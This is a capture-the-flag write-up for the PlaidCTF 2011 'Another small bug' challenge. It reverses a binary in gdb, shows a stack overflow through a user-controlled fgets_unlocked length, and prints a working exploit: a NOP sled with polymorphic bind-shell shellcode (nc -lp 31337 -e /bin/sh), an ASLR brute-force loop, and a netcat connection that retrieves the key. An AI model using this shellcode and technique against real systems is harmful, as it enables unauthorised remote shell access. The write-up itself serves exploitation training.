Write-up - PlaidCTF 2011 - Another small bug
by @Jonathan Salwan - 2011-04-25This challenge it's a classical binary exploitation with aslr.
let's reverse it with gdb.
0x08048193 : cmpl $0x2,0x8(%ebp) 0x08048197 : je 0x80481ba
Check if argc != 2
0x080481ba : mov 0xc(%ebp),%eax 0x080481bd : add $0x4,%eax 0x080481c0 : mov (%eax),%eax 0x080481c2 : mov %eax,(%esp) 0x080481c5 : call 0x80483e8
Then, it put argc in eax, adds 4 to gets argv[1] and calls strtoul with argv[1] in arguments.
0x080481fc : mov 0x804b49c,%edx <= pointer on stdin 0x08048202 : mov 0x21c(%esp),%eax <= results of strtoul 0x08048209 : mov %edx,0x8(%esp) 0x0804820d : mov %eax,0x4(%esp) 0x08048211 : lea 0x1c(%esp),%eax <= addr on pointer 0x08048215 : mov %eax,(%esp) 0x08048218 : call 0x80486b4 <fgets_unlocked>
After, it calls the fgets_unlocked function. From here, we can say the binary do like this
fgets_unlocked(&buff, strtoul(argv[1]), stdin)
Let's exploit it
z2_12@a5:~$ echo `perl -e 'print "a"x532 ."BBBB"'` | ./exploitme 999999 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBB Segmentation fault (core dumped) jonathan@ArchLinux [19-Another_small_bug] $ gdb -c core GNU gdb (GDB) 7.2 Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu". For bug reporting instructions, please see: . [New Thread 9249] Core was generated by `./exploitme 999999'. Program terminated with signal 11, Segmentation fault. #0 0x42424242 in ?? ()
Woot, we control eip.
Now, we can brutforce eip to bypass the ASLR. For the shellcode we use a classical binport. (shellcode nc -lp 31337 -e /bin//sh polymorphic (91 bytes)).
z2_12@a5:~$ export EGG=`perl -e 'print "\x90"x32000 ."\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e \xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5\x40\x87\x9d \xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86 \x88\xbe\x16\x02\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68\x66\x68\x68\x6c \x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8\x9d"'` z2_12@a5:~$ echo `perl -e 'print "a"x524 ."\xd2\x51\x84\xbf"x10'` > file z2_12@a5:~$ while true ; do /opt/pctf/z2/exploitme 99999999 < file ; done z2_12@a5:~$ netcat 127.0.0.1 31337 ^[[A ls file getenv getenv.c cat /opt/pctf/z2/key This is the key: EASTEREGGHUNTS_ARE_FUN ^C z2_12@a5:~$
The key is EASTEREGGHUNTS_ARE_FUN.